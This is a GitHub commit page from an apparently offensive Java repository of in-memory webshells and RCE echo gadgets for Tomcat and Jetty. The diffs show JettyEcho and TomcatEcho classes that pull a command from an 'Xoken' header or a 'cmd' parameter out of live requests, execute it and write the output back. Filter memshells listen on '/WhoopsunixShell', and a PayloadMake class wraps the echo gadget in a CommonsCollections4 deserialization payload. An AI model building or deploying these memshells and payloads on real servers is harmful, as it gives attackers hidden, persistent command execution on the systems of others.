Skip to content

Commit 5674df5

Browse files
WhoopsunixWhoopsunix
committed
add tomcat ExecutorExecMS :)
1 parent 99b1a6a commit 5674df5

File tree

34 files changed

+765
-99
lines changed

34 files changed

+765
-99
lines changed

‎JavaClass.http‎

Lines changed: 74 additions & 0 deletions
Large diffs are not rendered by default.

‎MemShell.http‎

Lines changed: 0 additions & 45 deletions
This file was deleted.

‎MemShellAndRceEcho/JakartaJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
* 7.x、8.x、9.x、10.x、11.x
2020
*/
2121
public class JettyEcho {
22-
private static String HEADER = "X-Token";
22+
private static String HEADER = "Xoken";
2323
private static String PARAM = "cmd";
2424
public JettyEcho() {
2525
try {
@@ -51,14 +51,14 @@ public JettyEcho() {
5151
if (response == null)
5252
continue;
5353

54-
String header = (String) request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, HEADER);
55-
String param = (String) request.getClass().getDeclaredMethod("getParameter", String.class).invoke(request, PARAM);
54+
Object header = request.getClass().getDeclaredMethod("getHeader", String.class).invoke(request, HEADER);
55+
Object param = request.getClass().getDeclaredMethod("getParameter", String.class).invoke(request, PARAM);
5656

5757
String result = null;
5858
if (header != null) {
59-
result = exec(header);
59+
result = exec((String) header);
6060
} else if (param != null) {
61-
result = exec(param);
61+
result = exec((String) param);
6262
}
6363

6464
Object writer = response.getClass().getDeclaredMethod("getWriter").invoke(response);

‎MemShellAndRceEcho/JakartaTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@
1414
*/
1515
public class TomcatExecThreadListener implements InvocationHandler {
1616

17-
private static String HEADER = "X-Token";
17+
private static String HEADER = "Xoken";
1818
private static Object[] applicationEventListenersObjects;
1919
private static List applicationEventListeners;
2020
private static Boolean flag = false;

‎MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/gadget/JettyEcho.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
* 7.x、8.x、9.x、10.x、11.x
2020
*/
2121
public class JettyEcho {
22-
private static String HEADER = "X-Token";
22+
private static String HEADER = "Xoken";
2323
private static String PARAM = "cmd";
2424
public JettyEcho() {
2525
try {

‎MemShellAndRceEcho/JavaxJettyDemo/src/main/java/org/example/jetty/utils/PayloadMake.java‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
import me.gv7.tools.josearcher.entity.Keyword;
55
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
66
import org.example.jetty.gadget.JettyEcho;
7+
import org.ppp.tools.encryption.B64;
78
import org.ppp.tools.ser.CC4Generator;
89

910
import java.util.ArrayList;
@@ -22,7 +23,7 @@ public static void cc4() throws Exception {
2223
CC4Generator cc4Generator = new CC4Generator();
2324
String payload = cc4Generator.make(msmClass);
2425
System.out.println(payload.length());
25-
cc4Generator.makeFile(msmClass, "cc4.bin");
26+
cc4Generator.makeFile(msmClass, "dev/JettyEcho.bin");
2627
}
2728

2829
public void searchJetty() {

‎MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/echo/TomcatEcho.java‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@
2323
* 9.0.65
2424
*/
2525
public class TomcatEcho {
26-
private static String HEADER = "X-Token";
26+
private static String HEADER = "Xoken";
2727
private static String PARAM = "cmd";
2828

2929
public TomcatEcho() {
@@ -56,14 +56,14 @@ public TomcatEcho() {
5656
Object processor = processors.get(j);
5757
Object req = getFieldValue(processor, "req");
5858
Object response = req.getClass().getMethod("getResponse").invoke(req);
59-
String header = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, HEADER);
59+
Object header = req.getClass().getMethod("getHeader", String.class).invoke(req, HEADER);
6060
Object parameters = getFieldValue(req, "parameters");
61-
String param = parameters.getClass().getMethod("getParameter", String.class).invoke(parameters, PARAM).toString();
6261

6362
String result = null;
6463
if (header != null) {
65-
result = exec(header);
66-
} else if (param != null) {
64+
result = exec((String) header);
65+
} else if (parameters != null) {
66+
String param = parameters.getClass().getMethod("getParameter", String.class).invoke(parameters, PARAM).toString();
6767
result = exec(param);
6868
}
6969

‎MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/all/TomcatExecThreadListener.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@
1414
*/
1515
public class TomcatExecThreadListener implements InvocationHandler {
1616

17-
private static String HEADER = "X-Token";
17+
private static String HEADER = "Xoken";
1818
private static Object[] applicationEventListenersObjects;
1919
private static List applicationEventListeners;
2020
private static Boolean flag = false;

‎MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/Tomcat6FilterThreadMS.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ public class Tomcat6FilterThreadMS implements Filter {
2020

2121
private static String NAME = "TomcatServletThreadMS";
2222
private static String pattern = "/WhoopsunixShell";
23-
private static String header = "X-Token";
23+
private static String header = "Xoken";
2424
private static HttpServletRequest request;
2525
private static HttpServletResponse response;
2626

‎MemShellAndRceEcho/JavaxTomcatDemo/src/main/java/com/demo/memshell/exec/TomcatFilterJMXMS.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ public class TomcatFilterJMXMS implements Filter {
2020

2121
private static String NAME = "TomcatServletThreadMS";
2222
private static String pattern = "/WhoopsunixShell";
23-
private static String header = "X-Token";
23+
private static String header = "Xoken";
2424

2525
public TomcatFilterJMXMS() {
2626

0 commit comments

Comments
 (0)